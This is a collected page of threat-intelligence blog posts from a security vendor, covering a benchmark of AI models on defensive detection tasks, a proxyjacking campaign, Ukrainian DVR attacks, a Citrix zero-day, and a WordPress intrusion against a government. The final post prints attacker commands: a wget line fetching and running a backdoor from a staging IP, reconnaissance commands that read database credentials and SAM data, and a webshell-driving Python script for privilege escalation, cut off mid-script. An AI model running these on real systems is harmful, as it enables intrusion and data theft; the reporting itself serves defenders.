Blog
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

GreyNoise AI Cyber Index: Benchmarking AI Models on Defensive Capabilities

AI models are accelerating the discovery of software flaws, while the window between vulnerability disclosure and exploitation has narrowed from days to minutes. Security teams are turning to AI to help keep pace with the defensive work those attacks create, but there is little evidence to judge how well models can perform different defensive tasks. Most public cyber benchmarks focus on offensive tasks, such as developing exploits or completing capture-the-flag challenges. Few measure whether models can help defenders write detections and investigate attacks.

Today, we’re launching the GreyNoise AI Cyber Index to evaluate those defensive capabilities. At launch, it tests 46 closed and open-weight models across three tasks: Network Detections, File Detections, and Attack Forensics. The Index reports task performance, refusal rates, time, and cost, giving security teams a benchmark for comparing AI models across different security tasks.

GreyNoise has spent eight years observing how attackers find, exploit, and compromise internet-facing systems through our Global Observation Grid. We collect and label the traffic and associated artifacts, such as files and commands executed. That labeled data is used in production by more than 100,000 defenders and provides the ground truth for these benchmarks.

‍

‍

How the Index works

Every problem asks a model to perform a specific defensive task. The rule or list of evidence a model returns is run against recorded data and checked against our labeled data. The initial benchmarking set has 145 problems across three evaluations.

‍

The three evaluations

The overall composite score is a weighted average of 3 different defensive evals. . Network Detection carries the most weight (55%) because it’s the most tested and validated problem set, File Detection follows at 30%, and Attack Forensics carries the least (15%) because it’s the least complex task and most models already score well on it.

Evaluation SOC task What the model does Problems Index weight
Network Detection Identify and block malicious traffic Writes a Suricata rule from one malicious session that must catch other deliveries of the same exploit without alerting on similar harmless traffic. 51 55%
File Detection Identify the spread of malware across systems Writes a YARA rule that recognizes new builds of a malware family without flagging unrelated files. 63 30%
Attack Forensics Link an outbound traffic alert to the remote exploit responsible for the compromise Traces an outbound traffic alert back to the exploit responsible, using recorded network and host evidence while rejecting planted decoys. 31 15%

‍

How problems are built and scored

Every problem is built the same way. The model gets one example of an attack and has to produce something we can test. We hold back other forms of the same attack, the same malicious payload delivered a different way. These held-out forms are what a good answer should catch. We also hold back a benign twin, a copy of the attack with the malicious content swapped out, and a false positive corpus of unrelated data. A good answer should leave both alone. The corpus includes other malicious activity on purpose, so a rule can’t score by matching anything that looks like an attack. Every problem also has an oracle, a reference answer that earns full marks and proves the problem can be solved.

  • Network Detection. The model gets one malicious session from a real exploit and writes a Suricata rule. The held-out forms are the same exploit but hitting a different path, using different headers, or having a different structure. The grader awards points for each held-out form the rule catches and takes them away for catching the benign twin or any of the sessions in the false positive corpus. A bad rule that matches only the request path will identify the benign twin and will lose points.
  • File Detection. The model gets one malicious file and must write a Yara rule that identifies the malware family. The held-out forms are other builds of that family the model never sees. The grader takes points away for matching the benign twin, which has the malicious family-identifying content removed, or any of the files in the false positive corpus. A rule that fails to compile scores zero.
  • Attack Forensics. The model gets our data lake tables, a copy of the data recorded at the time of the attack, and an alert that a server is sending requests to the internet. It queries the data to identify the egress traffic, the process that generated it, the dropped file or launcher behind that process, the exploit payload and attacker IP, and the CVE being exploited. The recorded data also holds unsuccessful attacks and planted benign versions of the payloads and processes, so naming a decoy as the attacker costs points.

Each model attempted every problem at least three times, and a problem’s score is the average of its attempts. A model’s score is the share of available points it earned across problems, so 100% means full marks on every problem. Time is clock time per attempt, including tool use. Cost is based on each provider’s published prices.

Every view has a Penalizes Refusals setting. With it on, a refused attempt scores zero, so the score reflects both capability and reliability. Our problems contain real malware, as real incidents do, and a model that refuses the job can’t help a security team. A model counts as capable when it scores at least 90% of the top score, which puts the threshold at 64.5% with refusals penalized. The results below use that view.

‍

What the results show

We evaluated 46 models. All figures reflect the Index as of November 11, 2026.

‍

  • No model has a perfect score. Claude Opus 5.5 posted the highest raw score we recorded, 74.2%. It also refused 16.5% of its attempts. Scoring each refusal as zero drops it to 63.9%, just under the 64.5% capable threshold. Grok 4.5 refused nothing and led at 71.7% with refusals penalized.
  • Refusals came only from Anthropic and Google models, and they varied by task. Claude Opus 5.5 answered every Network Detection problem but refused 52.4% of its File Detection attempts, where the input is a malware file. Claude Fable 5.1 refused 90.8% of its Network Detection attempts and 72.2% of its attempts overall, which leaves it at 21.9% with refusals penalized. Gemini 4 Argon refused 16.7%.
  • Detection engineering is hard. The best Suricata score was 75.9% (Claude Opus 4.8) and the best YARA score was 58.4% (Grok 4.5). 
  • Strength on one task doesn’t carry over to another. Beam 1.0 scored 92.5% on Attack Forensics and 8.3% on Network Detection. GPT-5.4 scored 70.3% on Network Detection and 4.6% on Attack Forensics, indicating that model capability varies widely by task.
  • Among capable models, cost varies far more than score. Seven models cleared the capable threshold, led by Grok 4.5 at 71.7% and followed by Grok 4.6 (70.0%), Claude Opus 4.8 (69.0%), Claude Haiku 5.5 (67.9%), Claude Sonnet 4.6 (67.7%), GPT-6.1 Sol (64.9%), and MiniMax M3 (64.7%). Claude Haiku 5.5 was the cheapest and fastest of them, at $0.020 per problem and 44 seconds per attempt. 
  • Open-weight models trail frontier models. MiniMax M3 is the only open-weight model above the capable threshold, at 64.7%.

‍

What comes next

These results cover Suricata rule writing, YARA rule writing, and Attack Forensics investigations, we are far from covering all security work. The launch set is a starting point, and we plan to keep dated snapshots so readers can see how rankings change over time. We are building new problems for the three existing evaluations, each held to the same QA gates, and developing new environments that cover more defensive tasks.

‍

Global Event: SSHole (CVE-2026-123158) Live Activity Report

GreyNoise is monitoring scanning, exploitation attempts, and successful exploitation of CVE-2026-123158, also known as "SSHole," a flaw in OpenSSH on musl-based Linux (such as Alpine) that lets an oversized password authenticate to accounts configured to reject password logins. View live activity report >

Global Event: PHP2SHELL Live Activity Report

GreyNoise is monitoring exploitation attempts against PHP vulnerabilities CVE-2026-109618 and CVE-2026-109619, colloquially known as 'php2shell'. View the live activity report >

skynox7: Proxyjacking Edge Devices Into Residential Proxies

Adversaries have a wide range of mechanisms they can use to obfuscate their public internet protocol (IP) addresses to avoid attribution and reduce their detectable signature. Adversaries have used various types of nodes and services to proxy their traffic including commercial virtual private networks (VPN), virtual private servers (VPS), co-opted victim infrastructure, and more. Over time, defenders have been able to use adversary choices in infrastructure to surface illegitimate activity.

For example, “It’s not normal for our users to login from IP addresses associated with this or any VPS provider.” Some stealthy adversaries are using residential proxies, which fundamentally break some of the core assumptions about the detectable characteristics of infrastructure used for malicious activity. GreyNoise helped an organization identify one of these stealthy intrusions and separately revealed a malicious cyber actor conducting a proxyjacking campaign.

‍

Product Demo to Incident Response

Sometimes the most interesting intrusions start with “this is either nothing or this is really bad.” Recently, GreyNoise gave a live product demonstration to an organization which identified GreyNoise-labeled malicious IP addresses in their Entra ID sign-in logs. The IPs appeared to be residential and in the geolocation that would make sense for the organization and users.

We assessed one or more devices behind the users’ network could be part of a proxy network with or without the users’ awareness and the logins could be legitimate despite warranting follow-up investigation. It is possible to observe legitimate logins from an IP address that is simultaneously proxying malicious traffic for an unrelated malicious cyber actor (MCA) against a completely unrelated target. Additional research into the IP addresses revealed they were indeed residential proxies. This datapoint validated the proxy hypothesis, but did not prove or disprove malicious activity at the organization.

As the organization investigated further, they discovered a much more alarming datapoint: multiple users were authenticating using one of the same residential IP addresses. There is a set of unlikely conditions that would need to be true for this to happen legitimately. The organization took more aggressive investigative actions and confirmed the activity was indeed a serious intrusion. GreyNoise will not publish details of the intrusion investigation identified through the product demonstration; however, it served as the basis for follow-up research into commercial residential proxy network abuse by malicious actors.

Proxy networks pose a challenge for a variety of entities trying to defend against intrusions, fraud, and other internet crimes. Residential proxies are especially challenging as they can be used to defeat detection mechanisms that rely on adversaries using IP addresses that are incongruent with the expected geolocation of a user, such as “Login from Impossible Travel Location.” Adversarial foreign intelligence entities continue to use residential proxies for these reasons.

‍

Pawning Your Bandwidth 

“Earn on your internet” is how Intel 471 describes residential proxies that allow participants to voluntarily install proxy software (proxyware) on their devices to turn their devices into nodes for the proxy networks. This grants any user of that proxy network the ability to interact with the internet using the participant’s IP address. The incentive for the participant is passive income. Additionally, some commercial proxy entities offer software development kits (SDK) for developers to integrate into their applications. In this model, the software developer earns revenue by selling the device owner’s bandwidth. 

One company that operates with this model is Pawns.app. Pawns.app is a “direct partner” of IPRoyal and serves as a supply chain for obtaining proxy nodes that they then sell for a myriad of legitimate use cases. Pawns.app appears to be a rebrand of “IPRoyal Pawns” and is owned by the same people. Pawns.app offers pre-compiled and pre-packaged variants of their software, some of which are not visible until you establish an account on their site.

The command line variants accept variable username, password, and device information the installing party can specify at runtime. These features make it easy for them to be installed on a device an operator does not own, which is exactly what GreyNoise recently observed.

‍

Pwning to Pawn Your Bandwidth 

While “earn on your internet” is voluntary, proxyjacking is a crime. Proxyjacking is when an MCA forces victim devices into proxy networks in order to monetize their bandwidth. In a recent example, GreyNoise identified an MCA conducting a proxyjacking campaign against network edge devices globally to install Pawns.app on behalf of the attacker.

‍

The actor successfully compromised at least 143 devices in 34 countries using exploits for the following vulnerabilities:

Technology Vulnerability
D-Link ShareCenter NAS CVE-2024-3272 and CVE-2024-3273
Ubiquiti UniFi Video NVR CVE-2021-44228
SAP NetWeaver Visual Composer CVE-2025-31324

‍

The MCA appeared to target other brands of digital video recorders/network video recorders (DVR/NVR) such as Hikvision and Dahua. 

In some cases, the adversary also configured the victim devices to accept a secure shell (SSH) key authentication from the attacker as a backup access method for victim devices:

‍

What We’re Doing About It

GreyNoise provides a free service (sign in or create a free GreyNoise account to access) for anyone to check if their IP has interacted with our Global Observation Grid. This serves as a potential indicator of proxyjacking. GreyNoise will also continue to provide respective government and law enforcement entities necessary details to disrupt, investigate, and bring perpetrators to justice.

‍

What You Can Do About It

  • Educate your users about the risks associated with installing free applications on their devices
  • Educate your users about the importance of keeping their personal devices patched
  • Detect residential proxy IP addresses in authentication logs, and especially scrutinize scenarios where multiple enterprise users are authenticating from the same residential proxy IP
  • Detect deviations in user authentication behavior and characteristics beyond geolocation, such as mismatches in device identifiers, session identifiers, or User-Agent strings

‍

Indicators of Compromise

These binaries are not necessarily malware unless installed without consent.

IOC Description
e3dedf983c572d3e646a9b70fe9b41be497a3a2e5342c36dd3bd37cef7ebeffd SHA256
PAWNS
APP
fdc18f4287c1c6a285c664d3ce0f17d3479bc246bc6c163eb90b1a84adb453a7 SHA256
PAWNS
APP
4fd7fa22776dbfde7ddaf02a4f904564593e2ed69f87cbb7bbd6c206a874ecf7 SHA256
PAWNS
APP
26abd52f207739556282023e82873424795abc5e527771205a40749f90c01f6e SHA256
PAWNS
APP
df27938d26c1c9421ff307aafcb87131521e05f5d87ecaaab4a32ece3335fee4 SHA256
PAWNS
APP
2c12a3193b1528cd0a88d4fcfa0c060404de4c2bbe1fecb3fc3fa347f04e0165 SHA256
PAWNS
APP
71f2924a549a8f79a48ff332b071a12cd0b01e9ba643e9f8ed7b72b6d382325d SHA256
PAWNS
APP
209.99.190.80 Used for
exploitation of
edge devices.
skynox7@proton.me Pawns
Payout Account

‍

GreyNoise Community CTA
Free community account

Tell signal from noise, for free.

Create a free GreyNoise account and start telling internet noise apart from real threats. No credit card required.

  • 50 IP lookups a week, plus live dashboards and up to 3 alerts
  • Weekly At The Edge Clear threat briefs and access to GreyNoise Experiments
  • Sign up with a work email for 10-day lookback, bulk lookups, and API access
Create your free account Takes about 30 seconds.

Spike in Attacks Targeting Digital Video Recorders in Ukraine

GreyNoise identified an increase in scanning and exploitation attempts targeting Digital Video Recorders (DVR) in Ukraine between 21 September and 1 October 2026. The activity coincides with an escalation in Russian strikes across the country. There are a myriad of malicious use cases for compromising DVRs; one involves gaining the ability to physically survey an area to gain battlespace awareness before, during, and after kinetic strikes. 

‍

Observed exploitation attemptsTLP:CLEAR
Hikvision exploitation attempts in Ukraine: a nine-day surge
Attempts to exploit CVE-2021-36260 against Ukraine, recorded by GreyNoise: near zero for months, scanning from one of four IPs, a nine-day surge from all four, then a stop. It came during wartime, as Russian missile and drone strikes hit Ukraine. GreyNoise cannot say whether the two are connected.
6 dated events on 6 daysExploitation attemptsSelect a date to read it.
5 days
Sep 21, 2026
Reconnaissance begins
One of the four IPs, on a Ukrainian network, sends connection attempts to service ports in Ukraine, with no exploit. GreyNoise rates its link to the others low confidence.
Open on the full timeline →
Sep 22, 2026
Almost no attempts before the surge
Since early July, attempts at this exploit against Ukraine are rare, and none come from the four IPs.
Open on the full timeline →
Sep 23, 2026Exploitation attempts
The surge begins
(Hikvision IP Camera RCE CVE-2021-36260 Attempt) Attempts against Ukraine jump from near zero. Across the surge, four IPs send almost all of them.
Open on the full timeline →
Sep 27, 2026Exploitation attempts
Attempts continue
Attempts continue, almost all from the four IPs. Every recorded request from the four is the same command test, with nothing to install.
Open on the full timeline →
Oct 1, 2026Exploitation attempts
The surge stops
GreyNoise records the last attempts from the four IPs.
Open on the full timeline →
Oct 7, 2026
No attempts from the four since
GreyNoise has recorded no attempts from any of the four IPs since Oct 1.
Open on the full timeline →
Source: GreyNoise.
Dates are UTC days. The Ukrainian provider IP is not named here.
GreyNoise

‍

The majority of related activity GreyNoise observed focused on exploitation of CVE-2021-36260, which allows unauthenticated command injection against unpatched Hikvision products. The actors used the Hikvision IP camera/NVR - Remote Command Execution nuclei template.

‍

The activity involved three PureVPN exit nodes and one Ukrainian domestic IP address. GreyNoise assesses the PureVPN-associated activity is attributable to a single entity; the activity from the domestic UA IP is possibly related (low confidence). GreyNoise did generally observe a spike in detection of exploitation and scanning attempts against CVE-2021-36260 globally; however, the four IP addresses did not attempt to exploit any of our sensors outside of Ukraine. GreyNoise observed almost no activity like this against Ukraine in the months prior, and none from these four IPs.

‍

Indicators

PureVPN is a commercial virtual private network provider; activity from these exit nodes may not be related due to legitimate shared use.

IPs Network
195.238.124.178, 195.238.124.181, 195.238.124.188 AS56630, commercial VPN exits, Lithuania

‍

GreyNoise Community CTA
Free community account

Tell signal from noise, for free.

Create a free GreyNoise account and start telling internet noise apart from real threats. No credit card required.

  • 50 IP lookups a week, plus live dashboards and up to 3 alerts
  • Weekly At The Edge Clear threat briefs and access to GreyNoise Experiments
  • Sign up with a work email for 10-day lookback, bulk lookups, and API access
Create your free account Takes about 30 seconds.

Swarming Against Citrix 0-Day Exploitation

GreyNoise observes adversary activity through our Global Observation Grid (GOG), a network of sensors that draws attacker scanning and exploitation onto infrastructure we control. This lets us study adversary infrastructure, tooling, and tradecraft directly, without waiting for a victim investigation. GreyNoise also expands the GOG through Project Swarm, which enables the broader security community to join the effort. The activity discussed in this blog was derived from a Swarm participant sensor. 

On 24 September 2026, a malicious cyber actor (MCA) used 149.104.78.141 to attempt zero-day exploitation against a Citrix NetScaler Gateway. At the time, there were no CVE-specific detections for the attack due to it occurring pre-disclosure. However, GreyNoise still detected and labeled the activity as fundamentally malicious within seconds due to behavioral detections. GreyNoise will not publish full details of the exploitation chain at this time. Patches are available and post-exploitation details are included below.

‍

Exploitation before disclosure

TimelineTLP:CLEAR
Citrix NetScaler CVE-2026-88771
GreyNoise saw CVE-2026-88771 exploitation attempts on Sep 24, more than three days before public disclosure. The CVE-specific tag, deployed Sep 27, retro-tagged that activity.
7 dated events on 3 daysRetro-tagged as CVE-2026-88771 exploitationSelect a date to read it.
13 days
Sep 10, 2026 · 07:14:57 UTC
NetScaler reserves CVE ID.
Open on the full timeline →
Sep 24, 2026 · 07:32:08 UTC
Initial reconnaissance begins.
Intention is not known. Every Sep 24 entry here comes from this one IP address.
Sep 24, 2026 · 07:32:15 UTC
GreyNoise labeled the IP address suspicious due to methodology-based detection.
Sep 24, 2026 · 07:32:19 UTC
GreyNoise labeled the IP address malicious.
Sep 24, 2026 · 07:32:19 UTCRetro-tagged as CVE-2026-88771 exploitation
GreyNoise observed CVE-2026-88771 exploitation attempts from this IP address.
(Citrix NetScaler CVE-2026-88771 Login Command Injection RCE Attempt) Retro-tagged after the tag's Sep 27 deployment: 3 sessions, 07:32:19 to 07:32:20 UTC.
Open on the full timeline →
Sep 27, 2026 · 15:51:00 UTC
Public disclosure of CVE-2026-88771.
Sep 27, 2026 · 20:28:39 UTC
GreyNoise deployed the CVE-specific tag.
(Citrix NetScaler CVE-2026-88771 Login Command Injection RCE Attempt) Its retro hunt of stored sessions tagged only the Sep 24 activity.
Open on the full timeline →
Source: CVE record; GreyNoise.
Times are UTC.
GreyNoise

‍

Post-Exploitation

Though the adversary was unsuccessful in gaining a foothold on the targeted Swarm sensor, their post-exploitation playbook was revealed.

The MCA attempted to set both the Set User ID (setuid) and Set Group ID (setgid) bits on /bin/sh to obtain a root shell and install a password-protected webshell that accepts communication by the cookie value sent by the adversary. This may be to avoid persisting their commands in web logs. The MCA then attempted to configure the web server to treat their installed dot file (.ctxs.receiver - hidden by default) as a PHP file despite not having a .php extension. The MCA tried to create an alias which would route requests for a non-existent cascading style sheet (CSS) (receiver.min.css) to .ctxs.receiver; the MCA also attempted to create an additional AliasMatch setting which would provide similar functionality but allow for a more flexible pattern match so that variable characters added to the receiver.min.[0-9a-f].css file path would still route to the webshell. Lastly, the adversary attempted to kill the httpd process to restart the server.

‍

Indicators of Compromise

There are other indicators being shared in the community at a higher Traffic Light Protocol (TLP) level than we can put in this blog; none of the indicator sets should be considered exhaustive. Due to the nature of the vulnerability, adversaries have a wide range of options to poison server logs with variable malicious payloads as part of the exploitation sequence.

Indicator Description
149.104.78.141 Exploitation
/var/netscaler/logon/LogonPoint/custom/.ctxs.receiver Webshell
Path (Disk)
receiver.min.css Alias
(Webshell)
receiver\\.min\\.[0-9a-f]+\\.css AliasMatch
(Webshell)
6f5a2a452a7901323abd21879c6cecccb47c06aeeaccb1b467212f3b11e4b1e7 Webshell
SHA-256

‍

GreyNoise Community CTA
Free community account

Tell signal from noise, for free.

Create a free GreyNoise account and start telling internet noise apart from real threats. No credit card required.

  • 50 IP lookups a week, plus live dashboards and up to 3 alerts
  • Weekly At The Edge Clear threat briefs and access to GreyNoise Experiments
  • Sign up with a work email for 10-day lookback, bulk lookups, and API access
Create your free account Takes about 30 seconds.

Open Season on Kapibala: Attacker Steals Over 18,000 Government Records Through WordPress Exploitation

Update: This analysis has been updated to reflect that the ZyXEL GS1900 exploit code targeted CVE-2026-107441 not CVE-2026-7273.

GreyNoise observes adversary activity through our Global Observation Grid (GOG), a network of sensors that draws attacker scanning and exploitation onto infrastructure we control. This lets us study adversary infrastructure, tooling, and tradecraft directly, without waiting for a victim investigation. GreyNoise has been tracking malicious use of an IP address since early June 2026 due to its frequent use in scans and attacks against a variety of technologies. We are withholding the exact IP address due to victim sensitivities and operational risk. Once these factors have been mitigated, GreyNoise will publish an update.

While numerous adversaries have commonalities, adversary behavior is not monolithic. One security opinion is that adversaries rotate through IP addresses such that blocking them is a fruitless endeavor. This may be true in certain situations, but we have observed several cases where it is not. GreyNoise has observed one particular IP address scanning and attacking our decoys for multiple years, however, we are confident that activity from 7 May 2026 onwards is associated with a single malicious cyber actor (MCA). This MCA is a suspected Chinese speaker possibly working in UTC+8 based on the operational timeline and copious amounts of Chinese language comments contained within their custom tools and scripts. The adversary is the same or related to “Red Heron” reported on by Acronis based on use of the same command and control (C2) domain, malware family, exploitation of Gitea in July, and other tactics, techniques, and procedures (TTPs). GreyNoise observed the MCA scanning and attacking a variety of technologies throughout the last few months. We detail a few of the more notable intrusions we observed including the theft of more than 18,000 sensitive records from a western government. Though we did not identify any specific artificial intelligence tools in use, GreyNoise suspects the MCA used a large language model (LLM) to generate their custom tools due to behavior patterns found in the code, the rapid iteration, and code comments. For example, between iterations of the same tool, some code functionality did not meaningfully change, but the actual content did:

‍

These types of superficial changes are generally a waste of time for a human and a strong indicator the code was likely generated by a LLM.

In addition to the above findings, GreyNoise discovered the MCA targeted ZyXEL GS1900 Smart Managed Switches globally with a novel exploit of CVE-2026-107441. The MCA successfully exploited and exfiltrated sensitive data from 996 ZyXEL switches across 48 countries.

These observations and others are derived from data sourced from the GOG and adversary infrastructure.

‍

Exploitation Timeline

‍

Date Exploitation or Targeted Technology CISA KEV
2026-06-11 PAN-OS GlobalProtect (Unknown) N/A
2026-06-12 UniFi OS - CVE-2026-34908, CVE-2026-34909, and CVE-2026-34910 2026-06-23
2026-07-13 FlowiseAI - CVE-2026-56271 NOT YET
2026-07-20 WordPress - CVE-2026-63030, CVE-2026-60137 2026-07-21
2026-07-23 Linux Kernel - CVE-2022-0847 2022-04-25
2026-07-30 Gitea - CVE-2026-60004 2026-08-25
2026-08-13 Nuclio - CVE-2026-79756 NOT YET
2026-08-17 ZyXEL GS1900 - CVE-2026-107441 NOT YET
2026-08-27 SENAITE LIMS - CVE-2026-54569 NOT YET
2026-09-03 Proxmox VE - CVE-2023-54391 NOT YET

‍

GreyNoise Community CTA
Free community account

Tell signal from noise, for free.

Create a free GreyNoise account and start telling internet noise apart from real threats. No credit card required.

  • 50 IP lookups a week, plus live dashboards and up to 3 alerts
  • Weekly At The Edge Clear threat briefs and access to GreyNoise Experiments
  • Sign up with a work email for 10-day lookback, bulk lookups, and API access
Create your free account Takes about 30 seconds.

‍

Ubiquiti UniFi OS

On 12 June, the adversary attempted to exploit a chain of vulnerabilities (CVE-2026-34908, CVE-2026-34909, and CVE-2026-34910) to achieve remote code execution (RCE) against unpatched Ubiquiti devices. These vulnerabilities were added to the CISA KEV catalog on 23 June. The adversary attempted to coerce the targeted devices to download and execute a backdoor from a separate staging server:

wget http://74.48.66.73:9860/ssh -O /tmp/ssh && chmod +x /tmp/ssh && sudo -n chmod u+s /bin/bash && bash -p -c /tmp/ssh

‍

The adversary made another attempt using a different URL on 15 June:

https://www.[redacted].com.tw/[redacted]/ssh

‍

This URL appears to be compromised infrastructure associated with a Taiwanese manufacturing company. In the first round of exploitation using 74.48.66[.]73, a malicious backdoor (2ff2945b13a4cd0e9a65c85af29ea1539e162a516466c0de682dbf9f8a4000b1) was delivered to targets. This backdoor used p3.981666[.]xyz:6379 to establish a C2 channel.

‍

WordPress 

On or about 20 July, the adversary began targeting WordPress installations with the wp2shell exploit chain (CVE-2026-63030 and CVE-2026-60137). Unfortunately, they found success against at least 49 organizations across 29 countries primarily in small business and governmental sectors. In a red-on-red incident, the adversary also compromised a Russian state entity in Russia-occupied Ukraine. The most egregious data theft occurred against an identified western governmental organization involving more than 18,000 sensitive records stolen from its backend database. The following timeline describes that intrusion and is reconstructed using file modification timestamps which were preserved. Exact times may differ from an official forensic investigation.

‍

WordPress Intrusion Timeline

Campaign chronicleTLP:CLEAR
The Kapibala actor's exploitation, dated
Exploitation across many technologies, and one WordPress intrusion against a western government, hour by hour.
25 dated events on 13 daysExploitation attemptsSelect a date to read it.
34 days27 days13 days
May 7, 2026
One actor from this date onward
GreyNoise is confident activity from this date onward is associated with a single malicious cyber actor.
Open on the full timeline →
Jun 11, 2026
PAN-OS GlobalProtect targeted
Vulnerability unknown. CISA KEV: N/A.
Jun 12, 2026Exploitation attempts
UniFi OS exploitation attempted
A chain of CVE-2026-34908, CVE-2026-34909 and CVE-2026-34910, in an attempt to make devices download and run a backdoor from a staging server. Added to CISA KEV Jun 23.
Jun 15, 2026Exploitation attempts
Second UniFi OS attempt
A different download URL, on what appears to be third-party infrastructure associated with a Taiwanese manufacturing company.
Open on the full timeline →
Jul 13, 2026Exploitation attempts
FlowiseAI exploitation
CVE-2026-56271. Not in CISA KEV at publication.
Open on the full timeline →
Jul 20, 2026Exploitation attempts
WordPress exploitation begins
On or about Jul 20: the wp2shell chain (CVE-2026-63030, CVE-2026-60137). Success against at least 49 organizations across 29 countries. Added to CISA KEV Jul 21.
Jul 22, 2026 · 01:27:00 UTCExploitation attempts
Western government WordPress site exploited
A custom exploit chain for CVE-2026-63030 and CVE-2026-60137, then a custom webshell deployed.
Jul 22, 2026 · 01:38:29 UTC
WordPress user table dumped
13 WordPress administrator accounts taken.
Jul 22, 2026 · 01:48:38–02:05:11 UTC
Masquerading account added
Logged into wp-admin and added an account posing as a valid address at the target's domain, its registration date set to a day in 2025 to blend in.
Jul 22, 2026 · 02:09:58 UTC
Collection plugin uploaded
A custom information collection plugin to enumerate the WordPress install end to end.
Jul 22, 2026 · 02:22:36 UTC
Webshell reconnaissance begins
The previously uploaded webshell is used for reconnaissance and the rest of the intrusion.
Jul 22, 2026 · 02:31:12–03:07:38 UTC
AMSI bypass and privilege escalation tried
At least 17 script variations in an attempt to bypass AMSI, escalate privileges by token impersonation and theft, create a local administrator account and dump registry data.
Jul 22, 2026 · 03:17:41 UTC
Cleartext credentials found
A custom tool searched readable files and found credentials to a backend SQL database.
Jul 22, 2026 · 03:30:41 UTC
Files packed into a ZIP archive
Staged with PowerShell in a web-reachable path.
Jul 22, 2026 · 03:31:25 UTC
ZIP archive downloaded
Contains source code, credentials and additional sensitive information.
Jul 22, 2026 · 04:02:01 UTC
Password spray reaches the SQL database
The credentials found were sprayed with custom tools; access gained to an internal SQL database.
Jul 22, 2026 · 04:08:32 UTC
Bulk extraction tools run
Two tools written and run to bulk extract data from the SQL server, using archiving and staging similar to before.
Jul 22, 2026 · 04:09:20 UTC
At least 18,566 records taken
Downloaded from the SQL database, including accounts, plaintext passwords and PII tied to law enforcement and government agencies.
Jul 22, 2026 · 05:36:41 UTC
Activity resumes
Attempts broader internal password spraying; operations continue until at least 06:01:40 UTC.
Jul 23, 2026Exploitation attempts
Linux kernel exploitation
CVE-2022-0847. In CISA KEV since Apr 25, 2022.
Open on the full timeline →
Jul 30, 2026Exploitation attempts
Gitea exploitation
CVE-2026-60004. Added to CISA KEV Aug 25.
Open on the full timeline →
Aug 13, 2026Exploitation attempts
Nuclio exploitation
CVE-2026-79756. Not in CISA KEV at publication.
Open on the full timeline →
Aug 17, 2026Exploitation attempts
ZyXEL GS1900 switches exploited
On or about Aug 17: a novel CVE-2026-7273 exploit took data from 996 switches in 48 countries, including configurations and hashed root credentials. Not in CISA KEV at publication.
Open on the full timeline →
Aug 27, 2026Exploitation attempts
SENAITE LIMS exploitation
CVE-2026-54569. Not in CISA KEV at publication.
Open on the full timeline →
Sep 3, 2026Exploitation attempts
Proxmox VE exploitation
CVE-2023-54391. Not in CISA KEV at publication.
Open on the full timeline →
Source: GreyNoise Global Observation Grid and adversary infrastructure.
Times are UTC. Jul 22 times come from preserved file timestamps and may differ from a forensic investigation.
GreyNoise

‍

powershell -c "Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled,IoavProtectionEnabled,AntispywareEnabled,BehaviorMonitorEnabled | Format-List"

dir C:\\Windows\\Microsoft.NET\\Framework64\\v4* /b

certutil -hashfile C:\\Windows\\System32\\cmd.exe MD5

powershell -c "(Get-MpComputerStatus).AMProductVersion"

echo test123 > %TEMP%\\test_write.txt && type %TEMP%\\test_write.txt && del %TEMP%\\test_write.txt

net user

powershell.exe -NoProfile -Command "try{$s=Get-MpPreference;Write-Host RTP:$($s.DisableRealtimeMonitoring);Write-Host Excl:$($s.ExclusionPath -join \",\")}catch{Write-Host ERROR:$_}"

C:\\Windows\\System32\\net.exe user

wmic product where "name like \'%security%\' or name like \'%antivirus%\' or name like \'%defender%\'" get name 2>&1

C:\\Windows\\System32\\inetsrv\\appcmd.exe list site 2>&1

cd

netstat -an | findstr LISTENING

cmd /c "net user" 2>&1

reg query "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring 2>&1

echo OK > C:\\Windows\\Temp\\test_kp.txt && type C:\\Windows\\Temp\\test_kp.txt && del C:\\Windows\\Temp\\test_kp.txt 2>&1

sc query Spooler 2>&1

findstr /i "DB_PASSWORD DB_USER DB_HOST" C:\\inetpub\\Wordpress\\wp-config.php 2>&1

dir C:\\inetpub /b

reg query "HKLM\\SAM\\SAM\\Domains\\Account\\Users" 2>&1

reg query "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2" 2>&1

powershell.exe -NoProfile -ep bypass -c "$ExecutionContext.SessionState.LanguageMode"

dir "C:\\Program Files\\MySQL" /b /s 2>&1

sc query type= service state= all | findstr /i mysql

sc qc a5Backup64 2>&1

powershell.exe -NoProfile -ep bypass -c "(New-Object Net.WebClient).DownloadString(\'http://httpbin.org/get\')" 2>&1

‍

2026-07-22T02:31:12Z - 03:07:38Z: MCA uses at least 17 different variations of scripts in an attempt to bypass Microsoft’s Antimalware Scan Interface (AMSI), escalate privileges using Token Impersonation and Theft, create a local administrator account, and dump data from the registry.

‍

#!/usr/bin/env python3
"""
尝试通过PowerShell反射加载GodPotato进行提权
方案:从GitHub下载GodPotato到内存,通过反射加载执行
"""
import urllib.request, ssl, urllib.parse, re, base64

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))

shell_url = "https://[redacted]/wp-content/plugins/kapibala_plugin/kapibala_index.php"

def run(cmd):
    url = shell_url + "?kpbl=" + urllib.parse.quote(cmd)
    req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
    resp = opener.open(req, timeout=120)
    body = resp.read().decode("utf-8", "replace")
    m = re.search(r"CACHE_START(.*?)CACHE_END", body, re.DOTALL)
    return m.group(1).strip() if m else body

# 方案1: 尝试用PowerShell内存加载PrintSpoofer
# 先测试PowerShell是否被AMSI拦截
print("=== Test AMSI ===")
r = run('powershell.exe -NoProfile -ep bypass -c "Write-Host AMSI_OK"')
print(r)
print()

# 方案2: 直接用PHP的COM对象 (Windows专属)
# WScript.Shell可以提权吗?不行,但可以测试
print("=== Test COM WScript.Shell ===")
# 通过PHP创建一个小脚本来测试COM
php_test = """<?php
if(class_exists('COM')){echo 'COM:YES';}else{echo 'COM:NO';}
echo "\\n";
// 测试proc_open以SYSTEM运行
$desc = array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));
$proc = proc_open('whoami /priv', $desc, $pipes);
if($proc){
    echo stream_get_contents($pipes[1]);
    fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);
    proc_close($proc);
}
"""
# 写到temp然后通过webshell调用
